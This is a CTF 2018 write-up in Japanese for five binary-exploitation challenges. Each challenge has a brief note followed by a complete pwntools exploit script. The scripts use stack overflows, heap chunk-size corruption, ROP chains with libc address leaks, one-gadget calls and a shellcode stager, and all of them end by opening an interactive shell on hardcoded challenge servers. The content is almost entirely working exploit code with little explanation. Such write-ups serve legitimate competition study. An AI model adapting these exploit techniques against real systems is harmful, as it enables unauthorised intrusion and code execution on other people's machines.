* CTF 2018 writeup
warmup (misc)
miscだがpwnだった。 stack bofがあるのでやるだけ。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.91.226.78" RPORT = 10006 LHOST = "127.0.0.1" LPORT = 10006 # libc = ELF('./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253') elf = ELF('./warmup') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./warmup'], execute) else: conn = process(['./warmup']) # conn = process(['./warmup'], env={'LD_PRELOAD': './libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253'}) # preparing for exploitation pop_rdi = 0x00400a63 # mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) call_r12 = 0x00400a40 # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) set_regs = 0x00400a5a printf_got = 0x0000000000600fc8 puts_plt = elf.symbols['puts'] main_addr = 0x4008B9 log.info('Pwning') conn.sendlineafter('for?', str(0x601030)) conn.recv(1) heap_addr = int(conn.recvline(), 16) log.info('heap_addr = 0x%x', heap_addr) payload = 'x'*0x18 + p64(heap_addr) + 'y'*0x8 + p64(main_addr) conn.sendline(payload) conn.sendlineafter('for?', str(0x601010)) conn.recv(1) libc_base = int(conn.recvline(), 16) - 0x3c5620 log.info('libc_base = 0x%x', libc_base) payload = 'x'*0x18 + p64(heap_addr+0x20) + 'y'*0x8 + p64(libc_base + 0x4526a) + p64(0) * 10 conn.sendline(payload) conn.interactive()
urlparse (pwn)
size 0にするとbkに該当する部分からアドレスリークができる。 top chunkを移動させることでchunk sizeを巻き込んだencode/decodeができ、chunk sizeの改竄ができる。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "47.75.4.252" RPORT = 10013 LHOST = "127.0.0.1" LPORT = 10013 # libc = ELF('') elf = ELF('./urlparse2') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./aaa'], execute) else: conn = process(['./urlparse2']) # conn = process(['./c1c1d680-836d-4b96-8648-772ee5cd81b7.urlparse-47e10be0295a1c6c479a260239f5e0b1fd0c9696'], env={'LD_PRELOAD': ''}) # preparing for exploitation def create(size, url): conn.sendlineafter('> ', '1') conn.sendlineafter('size: ', str(size)) conn.sendlineafter('URL: ', url) def encode(idx): conn.sendlineafter('> ', '2') conn.sendlineafter('index: ', str(idx)) def decode(idx): conn.sendlineafter('> ', '3') conn.sendlineafter('index: ', str(idx)) def _list(): conn.sendlineafter('> ', '4') def delete(idx): conn.sendlineafter('> ', '5') conn.sendlineafter('index: ', str(idx)) log.info('Pwning') create(0x80, '%31%31%31') create(0x80, '%31%31%31') delete(1) create(0x0, '') _list() conn.recvuntil('0: ') libc_base = u64(conn.recv(6) +'\x00\x00') - 0x3c4bf8 log.info('libc_base = 0x%x', libc_base) delete(1) delete(0) create(0x80, 'xxxx') create(0x80, 'yyyy') create(0x80, 'wwww') create(0x80, 'zzzz') delete(0) delete(1) create(0x0, '') _list() conn.recvuntil('0: ') heap_base = u64(conn.recv(6) +'\x00\x00') - 0xb0 log.info('heap_base = 0x%x', heap_base) delete(0) delete(0) delete(0) create(0x100, '\x10'*0x100) delete(0) create(0, '') create(0x1000, 'hoge') create(0x1000, 'hoge') create(0x60, 'targetfastbin') create(0x1000-0x70, 'hoge') create(0x100, 'BANPEI') encode(5) delete(4) delete(2) # free fastbin import urllib for _ in range(0x20-2): create(0x100, 'hoge') payload = 'h'*0x30 payload += '%25%37%31' + '%25%30%30' * 7 payload += urllib.quote(urllib.quote(p64(libc_base + 0x3c4aed))) create(0x100, payload) decode(0) create(0x60, 'a') payload = 'x'*0xb + p64(libc_base + 0xf1147) create(0x60, payload) conn.interactive()
babtstack (pwn)
よくわからんがcanaryがあるはずなのに、exloitできてしまった。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.91.226.78" RPORT = 10005 LHOST = "127.0.0.1" LPORT = 10005 # libc = ELF('./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253') elf = ELF('./bs') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *0x400a9c c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./bs'], execute) else: conn = process(['./bs']) # conn = process(['./bs'], env={'LD_PRELOAD': './libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253'}) # preparing for exploitation pop_rbp = 0x00400870 leave_ret = 0x00400955 pop_rdi = 0x00400c03 pop_rsi_r15 = 0x00400c01 # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) set_regs = 0x400bfa # mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) call_r12 = 0x00400be0 puts_plt = elf.symbols['puts'] read_plt = elf.symbols['read'] read_got = 0x0000000000601fd0 log.info('Pwning') conn.recvuntil('send?') conn.sendline(str(0x20c0)) time.sleep(0.01) payload = 'x'*(0x20c0 - 0x10a8) rop = p64(0x00400c03) + p64(0x601fd8) + p64(puts_plt) rop += p64(set_regs) + p64(0x0) + p64(0x1) + p64(read_got) + p64(0x100) + p64(0x602f00) + p64(0) rop += p64(call_r12) + p64(0x0)*7 rop += p64(pop_rbp) + p64(0x602f00) + p64(leave_ret) payload += rop conn.send(payload.ljust(0x20c0, 'x')) conn.recvuntil('goodbye.\n') libc_base = u64(conn.recv(6) + '\x00'*2) - 0x20740 log.info('libc_base = 0x%x', libc_base) rop = '\x00'*0x8 + p64(pop_rdi) + p64(libc_base + 0x18cd57) + p64(libc_base + 0x45390) rop = '\x00'*0x8 + p64(libc_base + 0x4526a) conn.sendline(rop) conn.interactive()
primepwn (pwn)
long型の数値を入力すると、それが素数かどうか判定する。 素数であればその値をshellcodeとして実行してくれる。 素数となるstagerを送った。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "47.89.18.224" RPORT = 10008 LHOST = "127.0.0.1" LPORT = 10008 # libc = ELF('') elf = ELF('./primepwn') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *0x400a87 b *0x400a3a c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./primepwn'], execute) else: conn = process(['./primepwn']) # conn = process(['./primepwn'], env={'LD_PRELOAD': ''}) # preparing for exploitation log.info('Pwning') conn.recvuntil('(xxxx+') salt = conn.recv(len('cACBELX3C9pULUUB')) print salt conn.recvuntil(' == ') hashed = conn.recvline()[:-1] print hashed import hashlib import string import itertools def search(s, h): chars = string.ascii_letters + string.digits for el in itertools.permutations(chars, 4): x = ''.join(el) if hashlib.sha256(x+s).hexdigest() == h: return x return None conn.sendline(search(salt, hashed)) shellcode = '''hoge: syscall; xchg ecx,esi; mov dh,18; jmp hoge''' shell = 'mov rsp, 0x601f00' print u64(asm(shellcode)) conn.sendline(str(u64(asm(shellcode)))) time.sleep(1) conn.sendline('\x90'*0x20+asm(shell)+asm(shellcraft.sh())) time.sleep(1) conn.interactive()
note (pwn)
stack bofがありscanfに渡す制御文字を制御できるのでさらなるstack bofを起こした。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.89.18.224" RPORT = 10007 LHOST = "127.0.0.1" LPORT = 10007 # libc = ELF('./libc.so.6') elf = ELF('./note') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *0x400fe9 c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./note'], execute) else: conn = process(['./note']) # conn = process(['./note'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation def edit(payload): conn.sendlineafter('> ', '1') conn.sendlineafter('Note:', payload) def show(): conn.sendlineafter('> ', '2') conn.recvuntil('Note:') return conn.recvline()[:-1] def save(): conn.sendlineafter('> ', '3') conn.recvuntil('Saved!') def change(payload): conn.sendlineafter('> ', '4') conn.sendlineafter('ID:', payload) ''' 0x00401003: pop rdi ; ret ; (1 found) 0x00401001: pop rsi ; pop r15 ; ret ; (1 found) 0x00400ffa: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) 0x00400fd8: nop dword [rax+rax+0x00000000] ; mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) ''' pop_rdi = 0x00401003 pop_rsi_r15 = 0x00401001 set_regs = 0x00400ffa call_r12 = 0x00400fd8 leave_ret = 0x00400e3d printf_plt = elf.symbols['printf'] puts_got = 0x601f90 write_file = 0x400D4D main = 0x400E3F log.info('Pwning') conn.sendline('%s'*0x69) payload = 'x'*168 + p64(0x602110) #payload = 'x'*168 + 'z' *8 payload = payload.ljust(0x100, 'y') edit(payload) payload = 'a'*0x64 payload += p64(set_regs) + p64(0x0) + p64(1) + p64(puts_got)+p64(0)*2+p64(puts_got) payload += p64(call_r12) + p64(0)*7 payload += p64(set_regs) + p64(0x0) + p64(1) + p64(puts_got)+p64(0)*2+p64(puts_got+0x300) payload += p64(call_r12) + p64(0)*7 payload += p64(set_regs) + p64(0x0) + p64(1) + p64(0x0000000000601ff0)+p64(0)+p64(0x602f00)+p64(0x602110) payload += p64(call_r12) + p64(0)*2 + p64(0x00602f00) + p64(0)*4 payload += p64(leave_ret) conn.recvuntil('> ') conn.sendline(payload) libc_base = u64(conn.recv(6)+'\x00\x00') - 0x6f690 print hex(libc_base) payload = 'x'*8 + p64(libc_base + 0x4526a) conn.sendline(payload) conn.interactive()